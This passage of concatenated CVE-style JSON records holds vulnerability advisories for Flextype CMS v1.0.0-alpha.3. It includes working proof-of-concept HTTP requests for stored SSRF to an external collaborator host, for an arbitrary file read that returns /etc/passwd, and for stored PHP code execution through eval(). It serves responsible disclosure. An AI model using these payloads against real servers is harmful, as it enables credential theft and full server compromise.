          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery\n(SSRF) vulnerability in its shortcode-processing functionality.\n\nAttacker-controlled entry fields can be automatically processed by\nFlextype\u0027s shortcode parser. The built-in fetch shortcode accepts an\nattacker-controlled resource and passes the resulting value to the\nserver-side fetch() helper without sufficient destination restrictions.\n\nAn attacker capable of creating or modifying an entry can therefore persist\na fetch shortcode that causes Flextype to initiate an HTTP request from the\nserver when the entry is processed.\n\nTesting confirmed that an attacker-controlled external destination was\ncontacted and that the destination\u0027s HTTP response was returned through the\nprocessed entry. Subsequent normal retrieval of the stored entry caused the\nserver-side request to occur again.\nImpact\n\nAn attacker can persist server-side HTTP requests that are executed from\nthe network context of the Flextype server.\n\nDepending on network configuration, this may provide access to HTTP\nservices that are inaccessible from the attacker\u0027s network position,\nincluding loopback and internal network resources.\n\nBecause the destination response is returned through the processed entry,\nthe vulnerability provides non-blind SSRF.\n\nThis vulnerability is distinct from SSRF through /api/v1/query because the\naffected execution path uses stored entry content processed through\nShortcodesDirective and FetchShortcode, rather than direct expression\nevaluation through the Query API.\nDetailsAttacker-Controlled Fetch Resource\n\nFetchShortcode.php obtains the resource from shortcode parameters:\n\n// Get the resource parameter.\n$resource = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027resource\u0027]);\n\nThe resulting attacker-controlled resource is supplied to the server-side\nfetch helper:\n\n// Do fetch the data from the resource.\n$result = fetch($resource, $options);\n\nProof of Concept\n\nAn entry containing an attacker-controlled fetch shortcode was created:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-ssrf-proof\",\"data\":{\"title\":\"(fetch:\u0027http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos;)\"}}\n\nFlextype returned the destination\u0027s HTTP response:\n\n{\n  \"reasonPhrase\": \"OK\",\n  \"statusCode\": 200,\n  \"headers\": {\n    \"Server\": [\n      \"Burp Collaborator https://burpcollaborator.net/\";\n    ],\n    \"X-Collaborator-Version\": [\n      \"4\"\n    ],\n    \"Content-Type\": [\n      \"text/html\"\n    ],\n    \"Content-Length\": [\n      \"55\"\n    ]\n  },\n  \"body\": \"\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"\n}\n\nThe entry was subsequently retrieved:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-ssrf-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe resulting entry again contained the response obtained from the\nattacker-controlled destination.\n\nThis demonstrates that the server-side request originates from stored\nshortcode content and can be triggered during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because remotely controllable stored entry data is\nprocessed as shortcode syntax and FetchShortcode permits the shortcode to\nselect a server-side network destination.\n\nThe resulting resource is passed directly to:\n\n$result = fetch($resource, $options);\n\nwithout sufficient restrictions preventing requests to attacker-controlled\nor security-sensitive destinations.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/26"
        },
        {
          "url": "http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos"
        },
        {
          "url": "https://burpcollaborator.net/\""
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0014",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26",
            "automated": true,
            "contentSha256": "ccf71ea3f6c1e7df21bd9dc161b5f43050d8c82c18c42166541c10bb8904b66b",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:57:01Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:04:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0014"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n    if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n        $field[\u0027value\u0027] = strings(\n            parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n        )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n    } elseif (\n        registry()-\u003eget(\n            \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n        )\n    ) {\n        $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n    }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n    collection(array_keys($params))\n        -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n        -\u003ecount() \u003e 0 \u0026\u0026\n    isset($params[\u0027file\u0027]) \u0026\u0026\n    registry()-\u003eget(\n        \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n    ) === true\n) {\n    $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n    return filesystem()-\u003efile($file)-\u003eexists()\n        ? filesystem()-\u003efile($file)-\u003eget()\n        : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:00Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/25"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0183",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
            "automated": true,
            "contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:55:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0183"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:04:00Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0183"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n    if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n        $field[\u0027value\u0027] = strings(\n            parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n        )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n    } elseif (\n        registry()-\u003eget(\n            \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n        )\n    ) {\n        $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n    }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n    collection(array_keys($params))\n        -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n        -\u003ecount() \u003e 0 \u0026\u0026\n    isset($params[\u0027file\u0027]) \u0026\u0026\n    registry()-\u003eget(\n        \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n    ) === true\n) {\n    $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n    return filesystem()-\u003efile($file)-\u003eexists()\n        ? filesystem()-\u003efile($file)-\u003eget()\n        : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:04:00Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/25"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0013",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
            "automated": true,
            "contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:55:45Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:04:00Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0013"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n    new ExpressionFunction(\n        \u0027registry\u0027,\n        static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n        static fn ($arguments) =\u003e registry()\n    )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n    return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n    ob_start();\n\n    eval(\n        strings($field[\u0027value\u0027])\n            -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n            -\u003etrim()\n            -\u003etoString()\n    );\n\n    $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n   1. Attacker-controllable stored entry fields are interpreted as\n   executable expressions.\n   2. Expressions have access to the mutable application registry.\n   3. The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/24"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0182",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
            "automated": true,
            "contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:54:00Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0182"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0182"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n    new ExpressionFunction(\n        \u0027registry\u0027,\n        static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n        static fn ($arguments) =\u003e registry()\n    )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n    return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n    ob_start();\n\n    eval(\n        strings($field[\u0027value\u0027])\n            -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n            -\u003etrim()\n            -\u003etoString()\n    );\n\n    $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n   1. Attacker-controllable stored entry fields are interpreted as\n   executable expressions.\n   2. Expressions have access to the mutable application registry.\n   3. 